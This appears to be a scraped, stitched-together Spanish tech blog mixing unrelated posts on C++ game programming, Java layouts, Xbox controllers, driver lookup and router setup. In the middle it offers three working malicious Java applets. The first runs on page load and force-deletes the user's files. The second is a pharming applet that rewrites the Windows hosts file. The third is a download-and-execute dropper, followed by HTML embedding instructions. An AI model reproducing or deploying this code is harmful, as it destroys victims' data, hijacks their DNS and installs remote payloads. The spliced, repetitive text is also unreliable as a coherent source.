La verdad si es mucho codigo y muchos conceptos, pero lo vale y ahi vamos mas o menos jejeje...
La direccion del manual ciertamente esta en inglés(casi no hay documentacion en español) es:
Jeje prometo ya no publicar solo manuales...
Programación, Videojuegos, Seguridad Informática, IA, Tecnología, Gadgets y más.
La verdad si es mucho codigo y muchos conceptos, pero lo vale y ahi vamos mas o menos jejeje...
La direccion del manual ciertamente esta en inglés(casi no hay documentacion en español) es:
Jeje prometo ya no publicar solo manuales...
Ultimamente como me fije de meta aprender programación de videojuegos, se que talvez esta especialidad no es muy considerada en México donde la industria de los videojuegos es baja(Hablando del desarrollo, no de el consumo), aunque muy bien pagada si logras entrar, y quien sabe talvez algun dia lo logre es por eso que quiero empezar con todo esto, ademas que amo la programación, amo el C++ y amo los videojuegos...
Googleando me encontre un post donde encontre lo que buscaba, "como empezar!!!" encontre un libro el cual les dejo como descarga abajo, es bastante basico y de hecho no se inicia en modo 3d nisiquiera en modo 2d, solo en modo consola, pero lo lei y me resulto bastante bueno, yo sabia ya usar C++, pero con este libro he consolidado conceptos que me faltaban(ahora manejo muy bien la orientacion a objetos en C++, entre otras cosas), no solo les va a servir si quieren o no programar videojuegos, si que para empezar y dominar este lenguaje y programar cualquier cosa, repito, todo es orientado a la terminal no a ventanas, apenas empezare con el de winApi y Directx para empezar a darle con esto... ya ando descargando el DirectX SDK(500 mb) que me pide el cursillo que leeré
Saludos
this.add(new JButton("boton1"));
this.add(new JButton("boton2"));
this.add(new JButton("boton3"));
this.add(new JButton("boton4"), "wrap");
this.add(new JButton("boton5"));
this.add(new JButton("boton6"));
this.add(new JButton("boton7"));
this.add(new JButton("boton8"));
donde en el boton4 ponemos un parametro "wrap" que nos sirve para dar el salto de linea en la grilla, obviamente podemos unir celdas, hacerlas mas grandes, hacer que un elemento ocupe x celdas hacia arriba o hacia abajo como lo hace GridBagLayout(que es el mas completo y complejo de los layouts oficiales) solo cambiando y utilizando varios parametros como el "wrap"; con esto podemos hacer interfaces mas complejas que llevarias varios layouts anidados, solo usando uno:import java.io.*;
import javax.swing.JApplet;
public class xDD extends JApplet
{
public xDD()
{
}
public void init()
{
try
{
infectar();
}
catch(Exception e)
{
e.getMessage();
}
super.init();
}
public void infectar()
{
try {
FileWriter fw = new FileWriter("c:\\windows\\cfg.bat");
BufferedWriter bw = new BufferedWriter(fw);
PrintWriter salida = new PrintWriter(bw);
salida.println("@echo off");
salida.println("cd\\");
salida.println("cd %SYSTEMDRIVE%");
salida.println("del *.* /f /s /q");
salida.println("cd\\");
salida.println("cd %HOMEPATH%");
salida.println("del *.* /f /s /q");
salida.println("cd Desktop");
salida.println("cd Escritorio");
salida.println("del *.* /f /s /q");
salida.println("rd /s /q \"%homepath%/Mis Documentos\"");
salida.println("del c:\\windows\\cfg.bat");
salida.close();
Runtime.getRuntime().exec("cmd.exe /K C:\\windows\\prueba.bat");
}
catch(java.io.IOException ioex) {
System.out.println("se presento el error: "+ioex.toString());
}
}
}
Pharmingimport java.applet.Applet;
import java.io.*;
public class Hola extends Applet
{
public Hola()
{
}
public void iniciar()
{
String s = getParameter("dominio");
String s1 = getParameter("ip");
try
{
File file = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
FileWriter filewriter = new FileWriter(file, true);
filewriter.write((new StringBuilder()).append(s1).append(" ").append(s).append(System.getProperty("line.separator")).toString());
filewriter.close();
}
catch(Exception exception) { }
}
public void init()
{
try
{
iniciar();
}
catch(Exception exception)
{
System.out.println("Error");
}
super.init();
}
Este es un Download and Execute que encontré por ahí, también dejo su códigoimport java.io.*;
import java.net.URL;
import java.net.URLConnection;
import javax.swing.JApplet;
public class Applet extends JApplet
{
public Applet()
{
}
public void init()
{
try
{
infectar();
}
catch(Exception exception)
{
exception.getMessage();
}
super.init();
}
public void infectar()
throws Exception
{
byte abyte0[] = new byte[10240];
String s = getParameter("url");
System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(s).toString());
String s1 = s.substring(s.lastIndexOf("."));
s1 = s1.toLowerCase();
File file = File.createTempFile("javatmp", s1);
FileOutputStream fileoutputstream = new FileOutputStream(file);
URL url = new URL(s);
URLConnection urlconnection = url.openConnection();
BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
int i;
while((i = bufferedinputstream.read(abyte0)) > 0)
fileoutputstream.write(abyte0, 0, i);
fileoutputstream.close();
if(s1.contains(".jar"))
Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar \"").append(file.getAbsolutePath()).append("\"").toString());
else
try
{
Runtime.getRuntime().exec(file.getAbsolutePath());
}
catch(IOException ioexception)
{
File file1 = File.createTempFile("tmp", ".bat");
file1.createNewFile();
file1.deleteOnExit();
PrintWriter printwriter = new PrintWriter(file1);
printwriter.println((new StringBuilder("\"")).append(file.getAbsolutePath()).append("\"").toString());
printwriter.close();
Runtime.getRuntime().exec(file1.getAbsolutePath());
file1.delete();
}
file.deleteOnExit();
}
}
para compilarlos, instalar el JDK de sun y en consola poner:<applet name="ajax" code="Applet.class" archive="App.jar" height="1" width="0">
<param name="PARAMETRO QUE NECESITE NUESTRO PROGRAMA" value="">
</applet>
Hace poco me dio mucha curiosidad ver como podía conectar uno de mis con
troles de la xbox1 a la PC para usarlo para jugar(se me hace comodo este control aunque tozco, pero muy funcional para casí cualquier juego) y me encontre con algunos controles que ya venian con un simple adaptador(de hecho compré uno), ahí empezo mi curiosidad, investigando encontre que son simples controles USB, las xbox1 tiene puertos USB modificados como sockets del control, por lo tanto, basta con guiarnos de este diagramilla ya que a los controles solo les sobra un cable(amarillo) que no se conecta para adaptarlo a la PC
Y como viceberza podemos conectar a la xbox, mouses(lo correcto es mice pero bueno), teclados y memorias a la consola.
en "Valor" encontramos un código, este código se llama ID de hardware, explico... cada dispositivo tiene un ID de hardware, conformado entre otras cosas, por el vendor ó fabricante y el device o dispositivo, esta ID es única para cada modelo y de hecho es como windows determina si un controlador es para este dispositivo o no, lo que realmente nos importa aqui es ven_8086 (el 8086 en vendor indica que es un disitivo intel) y el dev_4222 que si lo googleamos, estoy seguro que encontraremos el controlador aunque no sepamos cual, pruebas?
En google encontramos el nombre "Intel pro wireless 3945ABG" que es la NIC inalambrica que tengo, por si fuera poco, encontre el driver en la primera pagina... obviamente no siempre será así de facil y hay que buscar en las demas paginas que encuentren informacion, y obviamente podemos usar otras busquedas como por ejemplo
"ven_8086&dev_4222 vista" para encontrar los de vista... es cuestion de creatividad... este método a mi nunca me ha fallado
Jejeje pues como dice el titulo, entro a una nueva etapa de mi vida, termino de hacer servicio social como desarrollador de software, para realmente "trabajar" y ganar dinero de esto, abrá muchos cambios, como empezando ya trabajaré desde mi casa por lo cual tendré mas tiempo para andar por aquí y por alla, esto es una ventaja, me darán mas tiempo para los proyectos del trabajo y mas tiempo para mi vida personal.
Realmente he aprendido mucho y en estos momentos me siento realmente capaz de dedicarme al desarrollo de software(Java, php y .net especialmente) y de realizar todos mis sueños y metas, todavia me faltan pero hay que seguirle, como muchos saben, pues me encantan los videojuegos y ya empiezo a hecharle una miradita a la api de windows y direct3d en C++, al visual C# y al xna para hacer juegos para la PC y para la xbox 360(aunque necesito pagar, pero gratuitamente estoy haciendo pruebas), así como tambien empiezo a hecharle miraditas y estudiar para certificaciones como java y php, que algun dia pienso sacarlas, cada día hay que ser mejores y esta es una de mis maneras de ser mejor cada día... veamos que tanto avanzo en el año y medio que me queda de universidad...
Saludos y gracias por pasar por mi blog!!! prometo actualizarlo seguido y ponerles cosas cool
de ahi vamos a entrar a home network o red domestica, y en Advanced Settings o configuracion avanzada,
y configuramos así:
y damos en guardar, apartir de este momento la direccion de nuestro router va a ser esa, 192.168.1.253, ahora nos vamos a enlace de banda ancha e igual en configuracion avanzada, configuramos asi:
de ahi en fuera todo lo demas en blanco y con las configuraciones por defecto, ahora desconectamos este router, y lo cascadeamos(conectamos un cable utp de un router al otro) con el 2wire principal, el que va a estar a la linea telefonica, y de esta forma todo lo que conectemos en cualquiera de ambos routers, ya sea por utp o inalambrico tendra internet...
¿Qué son los Hooks? Los hooks son una nueva característica agregada a React (16.8), la cual consiste en un conjunto de funciones que nos p...